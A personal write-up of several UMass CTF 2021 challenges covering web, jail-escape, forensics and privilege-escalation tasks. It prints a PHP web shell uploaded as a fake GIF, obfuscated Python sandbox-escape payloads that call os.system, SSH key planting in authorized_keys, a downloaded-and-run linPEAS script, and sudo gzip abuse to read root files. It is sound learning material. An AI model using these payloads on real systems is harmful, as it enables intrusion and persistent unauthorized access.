UMass CTF 2021 notes
The UMass CTF 2021 is targeted at undergraduate students. The challenges are supposed to be friendly to an amateur like me. I did manage to solve some of them with a lot of effort and learned few tricks along the way.
1. Hermit part 1 [web]
The challenge statement:
Help henry find a new shell
http://104.197.195.221:8086
http://34.121.84.161:8086
We can see that this website is running on PHP/Apache/Debian. The author suggests a PHP shell upload. Let’s check the image upload.
The upload.php
saves my uploaded image to the /var/www/html/uploads/NFaTbH
path and shows a link to follow it up.
The show.php
dumps the content of my image and sends back it as a base64 image stream. The filename
query param looks suspicious.
This trick works, we have the source code of upload.php
encoded as a base64 image. Let’s decode it and see the actual code behind it.
<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$filename = tempnam($target_dir, '');
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check file size
if ($_FILES["fileToUpload"]["size"] > 50000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "<p>Sorry, your file was not uploaded.</p>";
echo "<a href='/'>Back</a>";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $filename)) {
echo "<p>The file ". htmlspecialchars( basename( $_FILES["fileToUpload"]["name"])) . " has been uploaded to " . $filename . "</p>";
$path = "/show.php?filename=" . rawurlencode(basename($filename));
echo "<a href=$path>See Image</a>";
} else {
echo "<p>Sorry, there was an error uploading your file.</p>";
echo "<a href='/'>Back</a>";
}
}
A big file or non-image upload is restricted. Looks like a PHP shell as an image will likely pass through. Let’s go with a tiny PHP shell.
echo '<?php system($_GET["c"]); ?>' > test.php.gif
This error indicates that our shell is working and it just need a command to run. Let’s search the flag with the grep
function.
2. Heim [web]
The challenge statement:
Modern auth for the modern viking
http://104.197.195.221:8081
http://34.121.84.161:8081
Well from the looks of it I could guess that it is most likely running on python. The challenge is about some sort of authorization tokens.
After submitting my name on the page, I received a valid JWT access token and secret key. Let’s access the page with a proper header.
I use the ModHeader chrome extension to play with request headers. With the Authorization: Bearer {my_access_token}
we got a msg.
{
"api":{
"v1":{
"/auth":{
"get":{
"summary":"Debugging method for authorization post",
"security":"None",
"parameters":{
"access_token":{
"required":true,
"description":"Access token from recently authorized Viking",
"in":"path"
},
"jwt_secret_key":{
"required":false,
"description":"Debugging - should be removed in prod Heim",
"in":"path"
}
}
},
"post":{
"summary":"Authorize yourself as a Viking",
"security":"None",
"parameters":{
"username":{
"required":true,
"description":"Your Viking name",
"in":"body",
"content":"multipart/x-www-form-urlencoded"
}
}
}
},
"/heim":{
"get":{
"summary":"List the endpoints available to named Vikings",
"security":"BearerAuth"
}
},
"/flag":{
"get":{
"summary":"Retrieve the flag",
"security":"BearerAuth"
}
}
}
}
}
Okay, here we could guess that Odin
might only be able to access the /flag
endpoint. So we clear the previous request header and go back to the landing page. Supply the name as Odin
to get a new access token for Odin
. Modify the request header as Authorization: Bearer {odin_access_token}
and access /flag
endpoint.
3. Ekrpat [misc]
The challenge statement:
I made so few errors when creating this jail.
nc 34.72.64.224 8083
nc 35.231.20.75 8083
The >>>
line beginning looks awfully similar to python interpreter. And the gibberish text is likely to be encoded with substitution ciphers.
After a bit of googling
, I eventually landed on a correct webpage to translate the gibberish to something readable. https://awsm-tools.com
After toying with the python3 interpreter and googling
a bit. I found a workaround for this simple jail escaping challenge.
__builtins__.__dict__['IMPORT'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('ls')
__builtins__.__dict__['IMPORT'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('cat flag')
4. Scan me [misc]
The challenge statement:
The top layer is a lie.
scan_me.xcf
Lookup: The XCF, short for eXperimental Computing Facility, is the native image format of the GIMP image-editing program. I don’t have the GIMP so I have used an online tool to convert XCF to JPG.
This is a QR code recovery challenge. I have done my research on the topic. It is possible with some tool and effort, one could try to recover the lost data with certain precisions. I have to admit that this has been the finest artwork of mine in a while.
After signed my fine artwork, QR & barcode scanner did the magic and extracted https://imgur.com/a/57VgQ8M
. Flag was UMASS{QR-3Z-m0d3}
5. Jeopardy [misc]
The challenge statement:
This is Jail-pardy!
nc 34.72.64.224 8082
nc 35.231.20.75 8082
There has been confusion over Miscellaneous 200. The answer is “ios”, it is misleading. My bad. Good luck and enjoy! :)
This challenge had 25 quizz questions to unlock letters and characters that you can use in the python3 interpreter to escape the jail. Oh boy, it took me hours to correctly answer 21/25 questions.
Miscellaneous 100 - Name a sponsor of UMassCTF:
HackTheBox
Correct! You have been awarded the following characters: ‘`’Miscellaneous 200 - This was the most popular OS that was used in 2020:
ios
Correct! You have been awarded the following characters: ‘r’Miscellaneous 300 - The answer to the life, universe, everything? In binary, of course:
101010
Correct! You have been awarded the following characters: ‘h’Miscellaneous 400 - If there are 6 apples and you take away 4, how many do you have?
4
Correct! You have been awarded the following characters: ‘,’, ‘~’Miscellaneous 10000 - The UMass Cybersecurity club holds many talks from a wide variety of industry professionals in the tech scene. One such company may have leaked a password to something they were demoing during their presentation but did not care. What was the password displayed on the screen?
This question made me watch several videos and try several passwords. From SQL Injection video, promising wrong passwords:
62d754cc350e84d3b1c32ae79f976f5348e74a40
,seb
,6885858486f31043e5839c735d99457f045affd0
,bug
. After a decade, this video showsgSH1GgcJHimHy0XaMn
.
Correct! You have been awarded the following characters: ‘a’, ‘b’, ‘d’, ‘f’, ‘g’, ‘i’, ‘w’, ‘y’, ‘z’Cybersecurity Tomorrow 100 - This type of computing that has much promise for the future poses a great threat to encryption schemes commonly used today:
quantum computing
Correct! You have been awarded the following characters: “’”Cybersecurity Tomorrow 200 - This year will be the next y2k thanks to some data types:
2038
Correct! You have been awarded the following characters: ‘e’Cybersecurity Tomorrow 300 - Said to be the number 1 risk or threat in cybersecurity for the foreseeable future
Cybersecurity Tomorrow 400 - This architecture of CPUs seems to have many benefits but has repeatedly had vulnerabilities found in it after major releases of them
Cybersecurity Tomorrow 500 - This technology that can be used to create fake events with real images is a serious concern for future cybersecurity:
Deepfakes
Correct! You have been awarded the following characters: ‘m’, ‘n’, ‘o’Cybersecurity Yesterday 100 - Nickname of one of the first “hackers” that is a cereal brand:
Captain Crunch
Correct! You have been awarded the following characters: ‘%’Cybersecurity Yesterday 200 - Movie where tic-tac-toe used to save the world?
WarGames
Correct! You have been awarded the following characters: ‘1’Cybersecurity Yesterday 300 - Country that US and Israeli has made multiple worms and malware against?
Iran
Correct! You have been awarded the following characters: ‘c’Cybersecurity Yesterday 400 - The first real use of cybersecurity against a virus was a program called the ___?
The Reaper
Correct! You have been awarded the following characters: ‘.’Cybersecurity Yesterday 500 - DoD wrote this during the cold war
Cybersecurity Now 100 - According to UMaryland Professor, a hacker attacks computers on average every ___ seconds?
39
Correct! You have been awarded the following characters: ‘:’Cybersecurity Now 200 - University of Michigan researchers controlled a Google Home from 230 feet away with what?
laser
Correct! You have been awarded the following characters: ‘)’Cybersecurity Now 300 - Band that was recently threatened to have unreleased music released unless they pay the hackers money:
Radiohead
Correct! You have been awarded the following characters: ‘+’Cybersecurity Now 400 - This company recently had their source code accessed in a huge breach:
Microsoft
Correct! You have been awarded the following characters: ‘_’, ‘<’Cybersecurity Now 500 - What is a fairly new way to find electronics that law enforcement are using, i.e. Subway scandal
UMass 100 - What is the name of the mascot of UMass?
Sam the Minuteman
Correct! You have been awarded the following characters: ‘(‘UMass 200 - What is UMass most famously known for being #1 for?
food
Correct! You have been awarded the following characters: ‘{‘UMass 300 - What dining hall is hard-serve ice cream served at on campus everyday?
Franklin
Correct! You have been awarded the following characters: ‘}’UMass 400 - Where was the old honors college located?
Orchard Hill Area
Correct! You have been awarded the following characters: ‘x’UMass 500 - This flag was raised from a dorm in the central housing area in the 90s due to unrest from the residents:
Jolly Roger
Correct! You have been awarded the following characters: ‘s’, ‘t’, ‘u’, ‘v’
So far, I have access to (){},~:+_<%.1
and abcdefghi[j][k][l]mno[p]rstuvwxyz
. Not all the questions are answered, but I have to settle with what I have got. The approach I have used is similar to what worked for the ekrpat
challenge.
exec('''__builtins__.__dict__['__import__']('os').__dict__['system']('ls')''')
These are my workarounds for the characters/letters which I am not allowed to type in:
chr(ord('i')+1) # j
chr(ord('i')+1+1) # k
chr(ord('i')+1+1+1) # l
chr(ord('o')+1) # p
chr(ord(':')+11+11+11) # [
chr(ord('<')+11+11+11) # ]
chr(ord('%')+1+1) # ' - strangely '''text''' failing to escape ' sometimes.
I have replaced all the non-allowed letters/characters with my workarounds to constructed the code.
exec(chr(ord('o')+1) + 'rint(__bui' + chr(ord('i')+1+1+1)+ 'tins__.__dict__' + chr(ord(':')+11+11+11) + ''''__im''' + chr(ord('o')+1) + 'ort__' + chr(ord('%')+1+1) + chr(ord('<')+11+11+11) + '''('os').__dict__''' + chr(ord(':')+11+11+11) + ''''system''' + chr(ord('%')+1+1) + chr(ord('<')+11+11+11) + '(' + chr(ord('%')+1+1) + chr(ord('i')+1+1+1) + 's' + chr(ord('%')+1+1) + '))')
And a minor adjustment to issue the cat flag.txt
command.
exec(chr(ord('o')+1) + 'rint(__bui' + chr(ord('i')+1+1+1)+ 'tins__.__dict__' + chr(ord(':')+11+11+11) + ''''__im''' + chr(ord('o')+1) + 'ort__' + chr(ord('%')+1+1) + chr(ord('<')+11+11+11) + '''('os').__dict__''' + chr(ord(':')+11+11+11) + ''''system''' + chr(ord('%')+1+1) + chr(ord('<')+11+11+11) + '(' + chr(ord('%')+1+1) + 'cat f' + chr(ord('i')+1+1+1) + 'ag.txt' + chr(ord('%')+1+1) + '))')
Yeah, thank you, Alex. I really enjoyed the challenge despite the few hours of struggle.
6. Notes [forensics]
The challenge statement:
The breach seems to have originated from this host. Can you find the user’s mistake? Here is a memory image of their workstation from that day. File: image.mem (PS: too big to reference)
We have a memory dump to analyze to capture the flag. I came accross this sort of challenge before and remembered the volatility
.
To read the image information.
vol.py imageinfo -f ./image.mem
NFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
...
To see the process list.
vol.py pslist --profile=Win7SP1x64 -f ./image.mem
Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit
------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0xfffffa8000ca0040 System 4 0 173 526 ------ 0 2021-03-20 18:57:47 UTC+0000
...
0xfffffa8000dd0060 notepad.exe 2696 2288 4 309 1 0 2021-03-20 17:59:34 UTC+0000
...
0xfffffa800213e4e0 SearchFilterHo 1740 1888 5 103 0 0 2021-03-20 18:15:53 UTC+0000
To dump the notepad.exe
memory to file.
volatility -f ./image.mem --profile=Win7SP1x64 memdump --dump-dir=./ -p 2696
To find the flag using strings
and grep
functions.
strings -e l ./2696.dmp| grep "UMASS"
UMASS{$3CUR3_$70Rag3}
7. Webserver [forensics]
The challenge statement:
Our webserver has a few flaws in it :(
http://34.72.232.191:8080
Link to a file: a.out
I don’t think my solution is what the author had in mind. After all, he should have given us the a.out
file for a reason. As soon as I saw the /echo?message
endpoint I wanted to try a command execution. The dumb luck was on my side, it was a challenge that took the least effort from me.
8. Hermit - Part 2 [web]
The challenge statement:
Who are you? How did you get here? You better zip on out of here or else.
104.197.195.221:8087
34.121.84.161:8087
(The server is likely not broken. If you really think it’s broken, create a support ticket.)
Hint 1: Try enumeration
Hint 2: The port you are looking for has been forwarded to 8087.
My first impression was that this challenge may be out of my league. Initially, I thought there suppose to be a website running behind this ssh interface. So I googled a lot of random stuff like ssh tunnel
, ssh proxy
and ssh firewall
etc … Well, that was a fruitless few hours. People were solving it with a much better success rate. I read over the challenge statement again after a break. And that’s when the Hermit - Part2
, Part2
caught my eyes. I began to look at the challenge in a proper way.
- Task 1: Get an access to the server using
ssh
. - Task 2: Find the flag or access the local web server running inside the server.
And most importantly, I realized that somehow I could use thehermit
part1 vulnerability to solve thehermit
part2 challenge. Time to visit back to thehermit
one.
To see the debain user name
whoami
To check the hermit’s default ssh folder to find a usable key pair. (I tried that weird looking id_ed25519
key but it was password protected.)
ls /home/hermit/.ssh
To generate a new ssh key pair with no passphrase for myself.
ssh-keygen -b 2048 -t rsa -f /tmp/mediocre -q -N ""
To get my private key content
cat /tmp/mediocre
Here, I manually copied my private key content nicely into hermit.key
file on my local machine and set the proper permission.
To add my public key to the authorized_keys
file.
cat /tmp/mediocre.pub >> /home/hermit/.ssh/authorized_keys
And tried to access the server via ssh
through the 8087
port with my keys.
From here on, I have tried a bunch of useless commands. Failed to find the other webserver which I imagined to be running there somewhere. In the end, I presumed that this is some sort of Linux privilege escalation challenge. While chatting with a friend, I learn about the linPEAS script
and decided to give it a go.
mkdir /tmp/mediocre_one
cd /tmp/mediocre_one
curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh > line.sh
chmod +x line.sh
./line.sh > out
The output of the linPEAS
script had a lot of information so I took a shortcut.
cat out | grep flag
(root) NOPASSWD: /bin/gzip -f /root/rootflag.txt -t
hermit ALL = (root) NOPASSWD: /bin/gzip -f /root/rootflag.txt -t
/home/hermit/flag
/home/hermit/flag/userflag.txt
drwxrwxr-t 1 root root 4096 Mar 27 04:52 flag
/tmp/mediocre_one/out:hermit ALL = (root) NOPASSWD: /bin/gzip -f /root/rootflag.txt -t
/tmp/mediocre_one/out: (root) NOPASSWD: /bin/gzip -f /root/rootflag.txt -t
sudo /bin/gzip -f /root/rootflag.txt -t
UMASS{a_test_of_integrity}
rm -rf /tmp/mediocre_one # clean up
My successful submissions end here. I spent quite a few hours trying the other challenges:
- [suckless2] Failed to escape from the jail script written in Myrddin language.
- [replme] Failed to figure out the Janet language
repl
challenge. - [malware] Failed to decrypt these encrypted files with a python script.
- [easy as 123] Failed to extract the flag from easy.pcap [30MB] with Wireshark. My suspect was 19 or 36. (forgot)
- [chicken] Failed to extract anything useful from the chicken.pdf. (fun source)
Anyway, I enjoyed the UMass CTF 2021 event. Thanks to those who organized and sponsored the event.